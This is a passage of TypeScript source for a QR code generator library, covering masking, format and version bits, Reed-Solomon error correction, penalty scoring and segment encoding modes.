masking\n      if (msk == -1) {\n        // Automatically choose best mask\n        let minPenalty: int = 1000000000;\n        for (let i = 0; i < 8; i++) {\n          this.applyMask(i);\n          this.drawFormatBits(i);\n          const penalty: int = this.getPenaltyScore();\n          if (penalty < minPenalty) {\n            msk = i;\n            minPenalty = penalty;\n          }\n          this.applyMask(i); // Undoes the mask due to XOR\n        }\n      }\n      assert(0 <= msk && msk <= 7);\n      this.mask = msk;\n      this.applyMask(msk); // Apply the final choice of mask\n      this.drawFormatBits(msk); // Overwrite old format bits\n\n      this.isFunction = [];\n    }\n\n    /*-- Accessor methods --*/\n\n    // Returns the color of the module (pixel) at the given coordinates, which is false\n    // for light or true for dark. The top left corner has the coordinates (x=0, y=0).\n    // If the given coordinates are out of bounds, then false (light) is returned.\n    public getModule(x: int, y: int): boolean {\n      return (\n        0 <= x && x < this.size && 0 <= y && y < this.size && this.modules[y][x]\n      );\n    }\n\n    // Modified to expose modules for easy access\n    public getModules() {\n      return this.modules;\n    }\n\n    /*-- Private helper methods for constructor: Drawing function modules --*/\n\n    // Reads this object's version field, and draws and marks all function modules.\n    private drawFunctionPatterns(): void {\n      // Draw horizontal and vertical timing patterns\n      for (let i = 0; i < this.size; i++) {\n        this.setFunctionModule(6, i, i % 2 == 0);\n        this.setFunctionModule(i, 6, i % 2 == 0);\n      }\n\n      // Draw 3 finder patterns (all corners except bottom right; overwrites some timing modules)\n      this.drawFinderPattern(3, 3);\n      this.drawFinderPattern(this.size - 4, 3);\n      this.drawFinderPattern(3, this.size - 4);\n\n      // Draw numerous alignment patterns\n      const alignPatPos: Array<int> = this.getAlignmentPatternPositions();\n      const numAlign: int = alignPatPos.length;\n      for (let i = 0; i < numAlign; i++) {\n        for (let j = 0; j < numAlign; j++) {\n          // Don't draw on the three finder corners\n          if (\n            !(\n              (i == 0 && j == 0) ||\n              (i == 0 && j == numAlign - 1) ||\n              (i == numAlign - 1 && j == 0)\n            )\n          )\n            this.drawAlignmentPattern(alignPatPos[i], alignPatPos[j]);\n        }\n      }\n\n      // Draw configuration data\n      this.drawFormatBits(0); // Dummy mask value; overwritten later in the constructor\n      this.drawVersion();\n    }\n\n    // Draws two copies of the format bits (with its own error correction code)\n    // based on the given mask and this object's error correction level field.\n    private drawFormatBits(mask: int): void {\n      // Calculate error correction code and pack bits\n      const data: int = (this.errorCorrectionLevel.formatBits << 3) | mask; // errCorrLvl is uint2, mask is uint3\n      let rem: int = data;\n      for (let i = 0; i < 10; i++) rem = (rem << 1) ^ ((rem >>> 9) * 0x537);\n      const bits = ((data << 10) | rem) ^ 0x5412; // uint15\n      assert(bits >>> 15 == 0);\n\n      // Draw first copy\n      for (let i = 0; i <= 5; i++)\n        this.setFunctionModule(8, i, getBit(bits, i));\n      this.setFunctionModule(8, 7, getBit(bits, 6));\n      this.setFunctionModule(8, 8, getBit(bits, 7));\n      this.setFunctionModule(7, 8, getBit(bits, 8));\n      for (let i = 9; i < 15; i++)\n        this.setFunctionModule(14 - i, 8, getBit(bits, i));\n\n      // Draw second copy\n      for (let i = 0; i < 8; i++)\n        this.setFunctionModule(this.size - 1 - i, 8, getBit(bits, i));\n      for (let i = 8; i < 15; i++)\n        this.setFunctionModule(8, this.size - 15 + i, getBit(bits, i));\n      this.setFunctionModule(8, this.size - 8, true); // Always dark\n    }\n\n    // Draws two copies of the version bits (with its own error correction code),\n    // based on this object's version field, iff 7 <= version <= 40.\n    private drawVersion(): void {\n      if (this.version < 7) return;\n\n      // Calculate error correction code and pack bits\n      let rem: int = this.version; // version is uint6, in the range [7, 40]\n      for (let i = 0; i < 12; i++) rem = (rem << 1) ^ ((rem >>> 11) * 0x1f25);\n      const bits: int = (this.version << 12) | rem; // uint18\n      assert(bits >>> 18 == 0);\n\n      // Draw two copies\n      for (let i = 0; i < 18; i++) {\n        const color: boolean = getBit(bits, i);\n        const a: int = this.size - 11 + (i % 3);\n        const b: int = Math.floor(i / 3);\n        this.setFunctionModule(a, b, color);\n        this.setFunctionModule(b, a, color);\n      }\n    }\n\n    // Draws a 9*9 finder pattern including the border separator,\n    // with the center module at (x, y). Modules can be out of bounds.\n    private drawFinderPattern(x: int, y: int): void {\n      for (let dy = -4; dy <= 4; dy++) {\n        for (let dx = -4; dx <= 4; dx++) {\n          const dist: int = Math.max(Math.abs(dx), Math.abs(dy)); // Chebyshev/infinity norm\n          const xx: int = x + dx;\n          const yy: int = y + dy;\n          if (0 <= xx && xx < this.size && 0 <= yy && yy < this.size)\n            this.setFunctionModule(xx, yy, dist != 2 && dist != 4);\n        }\n      }\n    }\n\n    // Draws a 5*5 alignment pattern, with the center module\n    // at (x, y). All modules must be in bounds.\n    private drawAlignmentPattern(x: int, y: int): void {\n      for (let dy = -2; dy <= 2; dy++) {\n        for (let dx = -2; dx <= 2; dx++)\n          this.setFunctionModule(\n            x + dx,\n            y + dy,\n            Math.max(Math.abs(dx), Math.abs(dy)) != 1,\n          );\n      }\n    }\n\n    // Sets the color of a module and marks it as a function module.\n    // Only used by the constructor. Coordinates must be in bounds.\n    private setFunctionModule(x: int, y: int, isDark: boolean): void {\n      this.modules[y][x] = isDark;\n      this.isFunction[y][x] = true;\n    }\n\n    /*-- Private helper methods for constructor: Codewords and masking --*/\n\n    // Returns a new byte string representing the given data with the appropriate error correction\n    // codewords appended to it, based on this object's version and error correction level.\n    private addEccAndInterleave(data: Readonly<Array<byte>>): Array<byte> {\n      const ver: int = this.version;\n      const ecl: QrCode.Ecc = this.errorCorrectionLevel;\n      if (data.length != QrCode.getNumDataCodewords(ver, ecl))\n        throw new RangeError(\"Invalid argument\");\n\n      // Calculate parameter numbers\n      const numBlocks: int =\n        QrCode.NUM_ERROR_CORRECTION_BLOCKS[ecl.ordinal][ver];\n      const blockEccLen: int = QrCode.ECC_CODEWORDS_PER_BLOCK[ecl.ordinal][ver];\n      const rawCodewords: int = Math.floor(\n        QrCode.getNumRawDataModules(ver) / 8,\n      );\n      const numShortBlocks: int = numBlocks - (rawCodewords % numBlocks);\n      const shortBlockLen: int = Math.floor(rawCodewords / numBlocks);\n\n      // Split data into blocks and append ECC to each block\n      let blocks: Array<Array<byte>> = [];\n      const rsDiv: Array<byte> = QrCode.reedSolomonComputeDivisor(blockEccLen);\n      for (let i = 0, k = 0; i < numBlocks; i++) {\n        let dat: Array<byte> = data.slice(\n          k,\n          k + shortBlockLen - blockEccLen + (i < numShortBlocks ? 0 : 1),\n        );\n        k += dat.length;\n        const ecc: Array<byte> = QrCode.reedSolomonComputeRemainder(dat, rsDiv);\n        if (i < numShortBlocks) dat.push(0);\n        blocks.push(dat.concat(ecc));\n      }\n\n      // Interleave (not concatenate) the bytes from every block into a single sequence\n      let result: Array<byte> = [];\n      for (let i = 0; i < blocks[0].length; i++) {\n        blocks.forEach((block, j) => {\n          // Skip the padding byte in short blocks\n          if (i != shortBlockLen - blockEccLen || j >= numShortBlocks)\n            result.push(block[i]);\n        });\n      }\n      assert(result.length == rawCodewords);\n      return result;\n    }\n\n    // Draws the given sequence of 8-bit codewords (data and error correction) onto the entire\n    // data area of this QR Code. Function modules need to be marked off before this is called.\n    private drawCodewords(data: Readonly<Array<byte>>): void {\n      if (\n        data.length != Math.floor(QrCode.getNumRawDataModules(this.version) / 8)\n      )\n        throw new RangeError(\"Invalid argument\");\n      let i: int = 0; // Bit index into the data\n      // Do the funny zigzag scan\n      for (let right = this.size - 1; right >= 1; right -= 2) {\n        // Index of right column in each column pair\n        if (right == 6) right = 5;\n        for (let vert = 0; vert < this.size; vert++) {\n          // Vertical counter\n          for (let j = 0; j < 2; j++) {\n            const x: int = right - j; // Actual x coordinate\n            const upward: boolean = ((right + 1) & 2) == 0;\n            const y: int = upward ? this.size - 1 - vert : vert; // Actual y coordinate\n            if (!this.isFunction[y][x] && i < data.length * 8) {\n              this.modules[y][x] = getBit(data[i >>> 3], 7 - (i & 7));\n              i++;\n            }\n            // If this QR Code has any remainder bits (0 to 7), they were assigned as\n            // 0/false/light by the constructor and are left unchanged by this method\n          }\n        }\n      }\n      assert(i == data.length * 8);\n    }\n\n    // XORs the codeword modules in this QR Code with the given mask pattern.\n    // The function modules must be marked and the codeword bits must be drawn\n    // before masking. Due to the arithmetic of XOR, calling applyMask() with\n    // the same mask value a second time will undo the mask. A final well-formed\n    // QR Code needs exactly one (not zero, two, etc.) mask applied.\n    private applyMask(mask: int): void {\n      if (mask < 0 || mask > 7) throw new RangeError(\"Mask value out of range\");\n      for (let y = 0; y < this.size; y++) {\n        for (let x = 0; x < this.size; x++) {\n          let invert: boolean;\n          switch (mask) {\n            case 0:\n              invert = (x + y) % 2 == 0;\n              break;\n            case 1:\n              invert = y % 2 == 0;\n              break;\n            case 2:\n              invert = x % 3 == 0;\n              break;\n            case 3:\n              invert = (x + y) % 3 == 0;\n              break;\n            case 4:\n              invert = (Math.floor(x / 3) + Math.floor(y / 2)) % 2 == 0;\n              break;\n            case 5:\n              invert = ((x * y) % 2) + ((x * y) % 3) == 0;\n              break;\n            case 6:\n              invert = (((x * y) % 2) + ((x * y) % 3)) % 2 == 0;\n              break;\n            case 7:\n              invert = (((x + y) % 2) + ((x * y) % 3)) % 2 == 0;\n              break;\n            default:\n              throw new Error(\"Unreachable\");\n          }\n          if (!this.isFunction[y][x] && invert)\n            this.modules[y][x] = !this.modules[y][x];\n        }\n      }\n    }\n\n    // Calculates and returns the penalty score based on state of this QR Code's current modules.\n    // This is used by the automatic mask choice algorithm to find the mask pattern that yields the lowest score.\n    private getPenaltyScore(): int {\n      let result: int = 0;\n\n      // Adjacent modules in row having same color, and finder-like patterns\n      for (let y = 0; y < this.size; y++) {\n        let runColor = false;\n        let runX = 0;\n        let runHistory = [0, 0, 0, 0, 0, 0, 0];\n        for (let x = 0; x < this.size; x++) {\n          if (this.modules[y][x] == runColor) {\n            runX++;\n            if (runX == 5) result += QrCode.PENALTY_N1;\n            else if (runX > 5) result++;\n          } else {\n            this.finderPenaltyAddHistory(runX, runHistory);\n            if (!runColor)\n              result +=\n                this.finderPenaltyCountPatterns(runHistory) * QrCode.PENALTY_N3;\n            runColor = this.modules[y][x];\n            runX = 1;\n          }\n        }\n        result +=\n          this.finderPenaltyTerminateAndCount(runColor, runX, runHistory) *\n          QrCode.PENALTY_N3;\n      }\n      // Adjacent modules in column having same color, and finder-like patterns\n      for (let x = 0; x < this.size; x++) {\n        let runColor = false;\n        let runY = 0;\n        let runHistory = [0, 0, 0, 0, 0, 0, 0];\n        for (let y = 0; y < this.size; y++) {\n          if (this.modules[y][x] == runColor) {\n            runY++;\n            if (runY == 5) result += QrCode.PENALTY_N1;\n            else if (runY > 5) result++;\n          } else {\n            this.finderPenaltyAddHistory(runY, runHistory);\n            if (!runColor)\n              result +=\n                this.finderPenaltyCountPatterns(runHistory) * QrCode.PENALTY_N3;\n            runColor = this.modules[y][x];\n            runY = 1;\n          }\n        }\n        result +=\n          this.finderPenaltyTerminateAndCount(runColor, runY, runHistory) *\n          QrCode.PENALTY_N3;\n      }\n\n      // 2*2 blocks of modules having same color\n      for (let y = 0; y < this.size - 1; y++) {\n        for (let x = 0; x < this.size - 1; x++) {\n          const color: boolean = this.modules[y][x];\n          if (\n            color == this.modules[y][x + 1] &&\n            color == this.modules[y + 1][x] &&\n            color == this.modules[y + 1][x + 1]\n          )\n            result += QrCode.PENALTY_N2;\n        }\n      }\n\n      // Balance of dark and light modules\n      let dark: int = 0;\n      for (const row of this.modules)\n        dark = row.reduce((sum, color) => sum + (color ? 1 : 0), dark);\n      const total: int = this.size * this.size; // Note that size is odd, so dark/total != 1/2\n      // Compute the smallest integer k >= 0 such that (45-5k)% <= dark/total <= (55+5k)%\n      const k: int = Math.ceil(Math.abs(dark * 20 - total * 10) / total) - 1;\n      assert(0 <= k && k <= 9);\n      result += k * QrCode.PENALTY_N4;\n      assert(0 <= result && result <= 2568888); // Non-tight upper bound based on default values of PENALTY_N1, ..., N4\n      return result;\n    }\n\n    /*-- Private helper functions --*/\n\n    // Returns an ascending list of positions of alignment patterns for this version number.\n    // Each position is in the range [0,177), and are used on both the x and y axes.\n    // This could be implemented as lookup table of 40 variable-length lists of integers.\n    private getAlignmentPatternPositions(): Array<int> {\n      if (this.version == 1) return [];\n      else {\n        const numAlign: int = Math.floor(this.version / 7) + 2;\n        const step: int =\n          this.version == 32\n            ? 26\n            : Math.ceil((this.version * 4 + 4) / (numAlign * 2 - 2)) * 2;\n        let result: Array<int> = [6];\n        for (let pos = this.size - 7; result.length < numAlign; pos -= step)\n          result.splice(1, 0, pos);\n        return result;\n      }\n    }\n\n    // Returns the number of data bits that can be stored in a QR Code of the given version number, after\n    // all function modules are excluded. This includes remainder bits, so it might not be a multiple of 8.\n    // The result is in the range [208, 29648]. This could be implemented as a 40-entry lookup table.\n    private static getNumRawDataModules(ver: int): int {\n      if (ver < QrCode.MIN_VERSION || ver > QrCode.MAX_VERSION)\n        throw new RangeError(\"Version number out of range\");\n      let result: int = (16 * ver + 128) * ver + 64;\n      if (ver >= 2) {\n        const numAlign: int = Math.floor(ver / 7) + 2;\n        result -= (25 * numAlign - 10) * numAlign - 55;\n        if (ver >= 7) result -= 36;\n      }\n      assert(208 <= result && result <= 29648);\n      return result;\n    }\n\n    // Returns the number of 8-bit data (i.e. not error correction) codewords contained in any\n    // QR Code of the given version number and error correction level, with remainder bits discarded.\n    // This stateless pure function could be implemented as a (40*4)-cell lookup table.\n    private static getNumDataCodewords(ver: int, ecl: QrCode.Ecc): int {\n      return (\n        Math.floor(QrCode.getNumRawDataModules(ver) / 8) -\n        QrCode.ECC_CODEWORDS_PER_BLOCK[ecl.ordinal][ver] *\n          QrCode.NUM_ERROR_CORRECTION_BLOCKS[ecl.ordinal][ver]\n      );\n    }\n\n    // Returns a Reed-Solomon ECC generator polynomial for the given degree. This could be\n    // implemented as a lookup table over all possible parameter values, instead of as an algorithm.\n    private static reedSolomonComputeDivisor(degree: int): Array<byte> {\n      if (degree < 1 || degree > 255)\n        throw new RangeError(\"Degree out of range\");\n      // Polynomial coefficients are stored from highest to lowest power, excluding the leading term which is always 1.\n      // For example the polynomial x^3 + 255x^2 + 8x + 93 is stored as the uint8 array [255, 8, 93].\n      let result: Array<byte> = [];\n      for (let i = 0; i < degree - 1; i++) result.push(0);\n      result.push(1); // Start off with the monomial x^0\n\n      // Compute the product polynomial (x - r^0) * (x - r^1) * (x - r^2) * ... * (x - r^{degree-1}),\n      // and drop the highest monomial term which is always 1x^degree.\n      // Note that r = 0x02, which is a generator element of this field GF(2^8/0x11D).\n      let root = 1;\n      for (let i = 0; i < degree; i++) {\n        // Multiply the current product by (x - r^i)\n        for (let j = 0; j < result.length; j++) {\n          result[j] = QrCode.reedSolomonMultiply(result[j], root);\n          if (j + 1 < result.length) result[j] ^= result[j + 1];\n        }\n        root = QrCode.reedSolomonMultiply(root, 0x02);\n      }\n      return result;\n    }\n\n    // Returns the Reed-Solomon error correction codeword for the given data and divisor polynomials.\n    private static reedSolomonComputeRemainder(\n      data: Readonly<Array<byte>>,\n      divisor: Readonly<Array<byte>>,\n    ): Array<byte> {\n      let result: Array<byte> = divisor.map((_) => 0);\n      for (const b of data) {\n        // Polynomial division\n        const factor: byte = b ^ (result.shift() as byte);\n        result.push(0);\n        divisor.forEach(\n          (coef, i) => (result[i] ^= QrCode.reedSolomonMultiply(coef, factor)),\n        );\n      }\n      return result;\n    }\n\n    // Returns the product of the two given field elements modulo GF(2^8/0x11D). The arguments and result\n    // are unsigned 8-bit integers. This could be implemented as a lookup table of 256*256 entries of uint8.\n    private static reedSolomonMultiply(x: byte, y: byte): byte {\n      if (x >>> 8 != 0 || y >>> 8 != 0)\n        throw new RangeError(\"Byte out of range\");\n      // Russian peasant multiplication\n      let z: int = 0;\n      for (let i = 7; i >= 0; i--) {\n        z = (z << 1) ^ ((z >>> 7) * 0x11d);\n        z ^= ((y >>> i) & 1) * x;\n      }\n      assert(z >>> 8 == 0);\n      return z as byte;\n    }\n\n    // Can only be called immediately after a light run is added, and\n    // returns either 0, 1, or 2. A helper function for getPenaltyScore().\n    private finderPenaltyCountPatterns(runHistory: Readonly<Array<int>>): int {\n      const n: int = runHistory[1];\n      assert(n <= this.size * 3);\n      const core: boolean =\n        n > 0 &&\n        runHistory[2] == n &&\n        runHistory[3] == n * 3 &&\n        runHistory[4] == n &&\n        runHistory[5] == n;\n      return (\n        (core && runHistory[0] >= n * 4 && runHistory[6] >= n ? 1 : 0) +\n        (core && runHistory[6] >= n * 4 && runHistory[0] >= n ? 1 : 0)\n      );\n    }\n\n    // Must be called at the end of a line (row or column) of modules. A helper function for getPenaltyScore().\n    private finderPenaltyTerminateAndCount(\n      currentRunColor: boolean,\n      currentRunLength: int,\n      runHistory: Array<int>,\n    ): int {\n      if (currentRunColor) {\n        // Terminate dark run\n        this.finderPenaltyAddHistory(currentRunLength, runHistory);\n        currentRunLength = 0;\n      }\n      currentRunLength += this.size; // Add light border to final run\n      this.finderPenaltyAddHistory(currentRunLength, runHistory);\n      return this.finderPenaltyCountPatterns(runHistory);\n    }\n\n    // Pushes the given value to the front and drops the last value. A helper function for getPenaltyScore().\n    private finderPenaltyAddHistory(\n      currentRunLength: int,\n      runHistory: Array<int>,\n    ): void {\n      if (runHistory[0] == 0) currentRunLength += this.size; // Add light border to initial run\n      runHistory.pop();\n      runHistory.unshift(currentRunLength);\n    }\n\n    /*-- Constants and tables --*/\n\n    // The minimum version number supported in the QR Code Model 2 standard.\n    public static readonly MIN_VERSION: int = 1;\n    // The maximum version number supported in the QR Code Model 2 standard.\n    public static readonly MAX_VERSION: int = 40;\n\n    // For use in getPenaltyScore(), when evaluating which mask is best.\n    private static readonly PENALTY_N1: int = 3;\n    private static readonly PENALTY_N2: int = 3;\n    private static readonly PENALTY_N3: int = 40;\n    private static readonly PENALTY_N4: int = 10;\n\n    private static readonly ECC_CODEWORDS_PER_BLOCK: Array<Array<int>> = [\n      // Version: (note that index 0 is for padding, and is set to an illegal value)\n      //0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40    Error correction level\n      [\n        -1, 7, 10, 15, 20, 26, 18, 20, 24, 30, 18, 20, 24, 26, 30, 22, 24, 28,\n        30, 28, 28, 28, 28, 30, 30, 26, 28, 30, 30, 30, 30, 30, 30, 30, 30, 30,\n        30, 30, 30, 30, 30,\n      ], // Low\n      [\n        -1, 10, 16, 26, 18, 24, 16, 18, 22, 22, 26, 30, 22, 22, 24, 24, 28, 28,\n        26, 26, 26, 26, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,\n        28, 28, 28, 28, 28,\n      ], // Medium\n      [\n        -1, 13, 22, 18, 26, 18, 24, 18, 22, 20, 24, 28, 26, 24, 20, 30, 24, 28,\n        28, 26, 30, 28, 30, 30, 30, 30, 28, 30, 30, 30, 30, 30, 30, 30, 30, 30,\n        30, 30, 30, 30, 30,\n      ], // Quartile\n      [\n        -1, 17, 28, 22, 16, 22, 28, 26, 26, 24, 28, 24, 28, 22, 24, 24, 30, 28,\n        28, 26, 28, 30, 24, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30,\n        30, 30, 30, 30, 30,\n      ], // High\n    ];\n\n    private static readonly NUM_ERROR_CORRECTION_BLOCKS: Array<Array<int>> = [\n      // Version: (note that index 0 is for padding, and is set to an illegal value)\n      //0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40    Error correction level\n      [\n        -1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 4, 4, 4, 4, 4, 6, 6, 6, 6, 7, 8, 8, 9, 9,\n        10, 12, 12, 12, 13, 14, 15, 16, 17, 18, 19, 19, 20, 21, 22, 24, 25,\n      ], // Low\n      [\n        -1, 1, 1, 1, 2, 2, 4, 4, 4, 5, 5, 5, 8, 9, 9, 10, 10, 11, 13, 14, 16,\n        17, 17, 18, 20, 21, 23, 25, 26, 28, 29, 31, 33, 35, 37, 38, 40, 43, 45,\n        47, 49,\n      ], // Medium\n      [\n        -1, 1, 1, 2, 2, 4, 4, 6, 6, 8, 8, 8, 10, 12, 16, 12, 17, 16, 18, 21, 20,\n        23, 23, 25, 27, 29, 34, 34, 35, 38, 40, 43, 45, 48, 51, 53, 56, 59, 62,\n        65, 68,\n      ], // Quartile\n      [\n        -1, 1, 1, 2, 4, 4, 4, 5, 6, 8, 8, 11, 11, 16, 16, 18, 16, 19, 21, 25,\n        25, 25, 34, 30, 32, 35, 37, 40, 42, 45, 48, 51, 54, 57, 60, 63, 66, 70,\n        74, 77, 81,\n      ], // High\n    ];\n  }\n\n  // Appends the given number of low-order bits of the given value\n  // to the given buffer. Requires 0 <= len <= 31 and 0 <= val < 2^len.\n  function appendBits(val: int, len: int, bb: Array<bit>): void {\n    if (len < 0 || len > 31 || val >>> len != 0)\n      throw new RangeError(\"Value out of range\");\n    for (\n      let i = len - 1;\n      i >= 0;\n      i-- // Append bit by bit\n    )\n      bb.push((val >>> i) & 1);\n  }\n\n  // Returns true iff the i'th bit of x is set to 1.\n  function getBit(x: int, i: int): boolean {\n    return ((x >>> i) & 1) != 0;\n  }\n\n  // Throws an exception if the given condition is false.\n  function assert(cond: boolean): void {\n    if (!cond) throw new Error(\"Assertion error\");\n  }\n\n  /*---- Data segment class ----*/\n\n  /*\n   * A segment of character/binary/control data in a QR Code symbol.\n   * Instances of this class are immutable.\n   * The mid-level way to create a segment is to take the payload data\n   * and call a static factory function such as QrSegment.makeNumeric().\n   * The low-level way to create a segment is to custom-make the bit buffer\n   * and call the QrSegment() constructor with appropriate values.\n   * This segment class imposes no length restrictions, but QR Codes have restrictions.\n   * Even in the most favorable conditions, a QR Code can only hold 7089 characters of data.\n   * Any segment longer than this is meaningless for the purpose of generating QR Codes.\n   */\n  export class QrSegment {\n    /*-- Static factory functions (mid level) --*/\n\n    // Returns a segment representing the given binary data encoded in\n    // byte mode. All input byte arrays are acceptable. Any text string\n    // can be converted to UTF-8 bytes and encoded as a byte mode segment.\n    public static makeBytes(data: Readonly<Array<byte>>): QrSegment {\n      let bb: Array<bit> = [];\n      for (const b of data) appendBits(b, 8, bb);\n      return new QrSegment(QrSegment.Mode.BYTE, data.length, bb);\n    }\n\n    // Returns a segment representing the given string of decimal digits encoded in numeric mode.\n    public static makeNumeric(digits: string): QrSegment {\n      if (!QrSegment.isNumeric(digits))\n        throw new RangeError(\"String contains non-numeric characters\");\n      let bb: Array<bit> = [];\n      for (let i = 0; i < digits.length; ) {\n        // Consume up to 3 digits per iteration\n        const n: int = Math.min(digits.length - i, 3);\n        appendBits(parseInt(digits.substr(i, n), 10), n * 3 + 1, bb);\n        i += n;\n      }\n      return new QrSegment(QrSegment.Mode.NUMERIC, digits.length, bb);\n    }\n\n    // Returns a segment representing the given text string encoded in alphanumeric mode.\n    // The characters allowed are: 0 to 9, A to Z (uppercase only), space,\n    // dollar, percent, asterisk, plus, hyphen, period, slash, colon.\n    public static makeAlphanumeric(text: string): QrSegment {\n      if (!QrSegment.isAlphanumeric(text))\n        throw new RangeError(\n          \"String contains unencodable characters in alphanumeric mode\",\n        );\n      let bb: Array<bit> = [];\n      let i: int;\n      for (i = 0; i + 2 <= text.length; i += 2) {\n        // Process groups of 2\n        let temp: int =\n          QrSegment.ALPHANUMERIC_CHARSET.indexOf(text.charAt(i)) * 45;\n        temp += QrSegment.ALPHANUMERIC_CHARSET.indexOf(text.charAt(i + 1));\n        appendBits(temp, 11, bb);\n      }\n      if (i < text.length)\n        // 1 character remaining\n        appendBits(\n          QrSegment.ALPHANUMERIC_CHARSET.indexOf(text.charAt(i)),\n          6,\n          bb,\n        );\n      return new QrSegment(QrSegment.Mode.ALPHANUMERIC, text.length, bb);\n    }\n\n    // Returns a new mutable list of zero or more segments to represent the given Unicode text string.\n    // The result may use various segment modes and switch modes to optimize the length of the bit stream.\n    public static makeSegments(text: string): Array<QrSegment> {\n      // Select the most efficient segment encoding automatically\n      if (text == \"\") return [];\n      else if (QrSegment.isNumeric(text)) return [QrSegment.makeNumeric(text)];\n      else if (QrSegment.isAlphanumeric(text))\n        return [QrSegment.makeAlphanumeric(text)];\n      else return [QrSegment.makeBytes(QrSegment.toUtf8ByteArray(text))];\n    }\n\n    // Returns a segment representing an Extended Channel Interpretation\n    // (ECI) designator with the given assignment value.\n    public static makeEci(assignVal: int): QrSegment {\n      let bb: Array<bit> = [];\n      if (assignVal < 0)\n        throw new RangeError(\"ECI assignment value out of range\");\n      else if (assignVal < 1 << 7) appendBits(assignVal, 8, bb);\n      else if (assignVal < 1 << 14) {\n        appendBits(0b10, 2, bb);\n        appendBits(assignVal, 14, bb);\n      } else if (assignVal < 1000000) {\n        appendBits(0b110, 3, bb);\n        appendBits(assignVal, 21, bb);\n      } else throw new RangeError(\"ECI assignment value out of range\");\n      return new QrSegment(QrSegment.Mode.ECI, 0, bb);\n    }\n\n    // Tests whether the given string can be encoded as a segment in numeric mode.\n    // A string is encodable iff each character is in the range 0 to 9.\n    public static isNumeric(text: string): boolean {\n      return QrSegment.NUMERIC_REGEX.test(text);\n    }\n\n    // Tests whether the given string can be encoded as a segment in alphanumeric mode.\n    // A string is encodable iff each character is in the following set: 0 to 9, A to Z\n    // (uppercase only), space, dollar, percent, asterisk, plus, hyphen, period, slash, colon.\n    public static isAlphanumeric(text: string): boolean {\n      return QrSegment.ALPHANUMERIC_REGEX.test(text);\n    }\n\n    /*-- Constructor (low level) and fields --*/\n\n    // Creates a new QR Code segment with the given attributes and data.\n    // The character count (numChars) must agree with the mode and the bit buffer length,\n    // but the constraint isn't checked. The given bit buffer is cloned and stored.\n    public constructor(\n      // The mode indicator of this segment.\n      public readonly mode: QrSegment.Mode,\n\n      // The length of this segment's unencoded data. Measured in characters for\n      // numeric/alphanumeric/kanji mode, bytes for byte mode, and 0 for ECI mode.\n      // Always zero or positive. Not the same as the data's bit length.\n      public readonly numChars: int,\n\n      // The data bits of this segment. Accessed through getData().\n      private readonly bitData: Array<bit>,\n    ) {\n      if (numChars < 0) throw new RangeError(\"Invalid argument\");\n      this.bitData = bitData.slice(); // Make defensive copy\n    }\n\n    /*-- Methods --*/\n\n    // Returns a new copy of the data bits of this segment.\n    public getData(): Array<bit> {\n      return this.bitData.slice(); // Make defensive copy\n    }\n\n    // (Package-private) Calculates and returns the number of bits needed to encode the given segments at\n    // the given version. The result is infinity if a segment has too many characters to fit its length field.\n    public static getTotalBits(\n      segs: Readonly<Array<QrSegment>>,\n      version: int,\n    ): number {\n      let result: number = 0;\n      for (const seg of segs) {\n        const ccbits: int = seg.mode.numCharCountBits(version);\n        if (seg.numChars >= 1 << ccbits) return Infinity; // The segment's length doesn't fit the field's bit width\n        result += 4 + ccbits + seg.bitData.length;\n      }\n      return result;\n    }\n\n    // Returns a new array of bytes representing the given string encoded in UTF-8.\n    private static toUtf8ByteArray(str: string): Array<byte> {\n      str = encodeURI(str);\n      let result: Array<byte> = [];\n      for (let i = 0; i < str.length; i++) {\n        if (str.charAt(i) != \"%\") result.push(str.charCodeAt(i));\n        else {\n          result.push(parseInt(str.substr(i + 1, 2), 16));\n          i += 2;\n        }\n      }\n      return result;\n    }\n\n    /*-- Constants --*/\n\n    // Describes precisely all strings that are encodable in numeric mode.\n    private static readonly NUMERIC_REGEX: RegExp = /^[0-9]*$/;\n\n    // Describes precisely all strings that are encodable in alphanumeric mode.\n    private static readonly ALPHANUMERIC_REGEX: RegExp =\n      /^[A-Z0-9 $%*+.\\/:-]*$/;\n\n    // The set of all legal characters in alphanumeric mode,\n    // where each character value maps to the index in the string.\n    private static readonly ALPHANUMERIC_CHARSET: string =\n      \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:\";\n  }\n}\n\n/*---- Public helper enumeration ----*/\n\nnamespace qrcodegen.QrCode {\n  type int = number;\n\n  /*\n   * The error correction level in a QR Code symbol. Immutable.\n   */\n  export class Ecc {\n    /*-- Constants --*/\n\n    public static readonly LOW = new Ecc(0, 1); // The QR Code can tolerate about  7% erroneous codewords\n    public static readonly MEDIUM = new Ecc(1, 0); // The QR Code can tolerate about 15% erroneous codewords\n    public static readonly QUARTILE = new Ecc(2, 3); // The QR Code can tolerate about 25% erroneous codewords\n    public static readonly HIGH = new Ecc(3, 2); // The QR Code can tolerate about 30% erroneous codewords\n\n    /*-- Constructor and fields --*/\n\n    private constructor(\n      // In the range 0 to 3 (unsigned 2-bit integer).\n      public readonly ordinal: int,\n      // (Package-private) In the range 0 to 3 (unsigned 2-bit integer).\n      public readonly formatBits: int,\n    ) {}\n  }\n}\n\n/*---- Public helper enumeration ----*/\n\nnamespace qrcodegen.QrSegment {\n  type int = number;\n\n  /*\n   * Describes how a segment's data bits are interpreted. Immutable.\n   */\n  export class Mode {\n    /*-- Constants --*/\n\n    public static readonly NUMERIC = new Mode(0x1, [10, 12, 14]);\n    public static readonly ALPHANUMERIC = new Mode(0x2, [9, 11, 13]);\n    public static readonly BYTE = new Mode(0x4, [8, 16, 16]);\n    public static readonly KANJI = new Mode(0x8, [8, 10, 12]);\n    public static readonly ECI = new Mode(0x7, [0, 0, 0]);\n\n    /*-- Constructor and fields --*/\n\n    private constructor(\n      // The mode indicator bits, which is a uint4 value (range 0 to 15).\n      public readonly modeBits: int,\n      // Number of character count bits for three different version ranges.\n      private readonly numBitsCharCount: [int, int, int],\n    ) {}\n\n    /*-- Method --*/\n\n    // (Package-private) Returns the bit width of 